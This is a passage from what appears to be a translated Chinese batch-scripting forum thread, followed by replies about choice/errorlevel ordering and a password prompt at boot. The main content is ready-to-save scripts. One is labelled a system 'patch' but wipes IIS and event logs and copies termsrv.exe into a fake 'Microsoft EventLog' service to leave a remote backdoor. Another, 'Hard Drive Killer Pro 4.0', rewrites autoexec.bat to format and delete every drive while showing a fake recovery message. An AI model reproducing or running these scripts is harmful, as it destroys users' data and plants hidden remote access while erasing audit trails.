echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo >> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END



:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF


:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.

:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------

2. Batch file to fully strengthen the system (patching the backdoor)
------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo Windows Registry Editor Version 5.00 >patch.dll
@echo >>patch.dll

@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM

@echo >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM

@echo >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM

@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM

@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM
@regedit /s patch.dll

------------------------ cut here then save as .bat or .cmd file ---------------------------

The following command is to clear all logs of the backdoor, prohibit some dangerous services, and modify the terminal service of the backdoor to leave a back door.
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem


@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM

@echo >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo

>>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM

3. Hard Drive Killer Pro Version 4.0 (it's really not easy to play batch files to this level.)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.


:Sampledrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c


:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat


echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat


:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2" do %%%%a >>c:\temp.bat
echo for %%%%a in ("&gt;ass_hole.txt" do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga

:end
Floor 5 Posted 2004-11-08 00:00 ·  中国 广东 广州 教育网
铂金会员
★★★★
C++启程者
Credits 5,154
Posts 1,827
Joined 2003-07-18 00:00
23-year member
UID 7105
Gender Male
Status Offline
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (Should judge the highest error code first)
if errorlevel 2 goto mem
if errotlevel 1 goto end

There is a problem above. If you run it, if you choose d, it will execute end, and if you choose e, it will execute defrag, because the direction is wrong. The correct one is as follows: @echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto end (Should judge the highest error code first)
if errorlevel 2 goto mem
if errotlevel 1 goto defrag You can try it..


Floor 6 Posted 2004-11-09 00:00 ·  中国 上海 浦东新区 电信
初级用户
Credits 169
Posts 17
Joined 2004-11-05 00:00
21-year member
UID 33346
Gender Male
Status Offline
z is really a master. I want to ask you a question: I often use GHOST and some DOS commands when working in an internet café. But recently the system was upgraded to XP. However, XP doesn't support DOS. I want to install a dual boot. But the customers may also enter when booting. How can I enter DOS and input a password so that I can't enter otherwise. This will be much safer. I especially ask the experts to give advice. Can I compile a batch file so that it inputs a password under DOS, and if it's wrong, it returns to XP. My system is that DOS is installed under XP again. Hope to compile one for me. Thank you
Floor 7 Posted 2010-03-16 15:02 ·  中国 河南 驻马店 联通
新手上路
Credits 17
Posts 10
Joined 2009-04-10 04:21
17-year member
UID 142566
Gender Male
Status Offline
Suggest the original poster to correct the incorrect expression in choice quickly, otherwise it will mislead others!
Floor 8 Posted 2010-03-16 19:13 ·  美国 惠普HP
版主
★★★★★
Credits 9,023
Posts 5,017
Joined 2007-05-31 19:39
19-year member
UID 89899
Gender Male
Status Offline
What do you think should be changed?
Floor 9 Posted 2010-03-16 21:23 ·  中国 浙江 杭州 联通
新手上路
Credits 8
Posts 7
Joined 2010-03-09 23:06
16-year member
UID 161904
Gender Female
Status Offline
Forum Jump: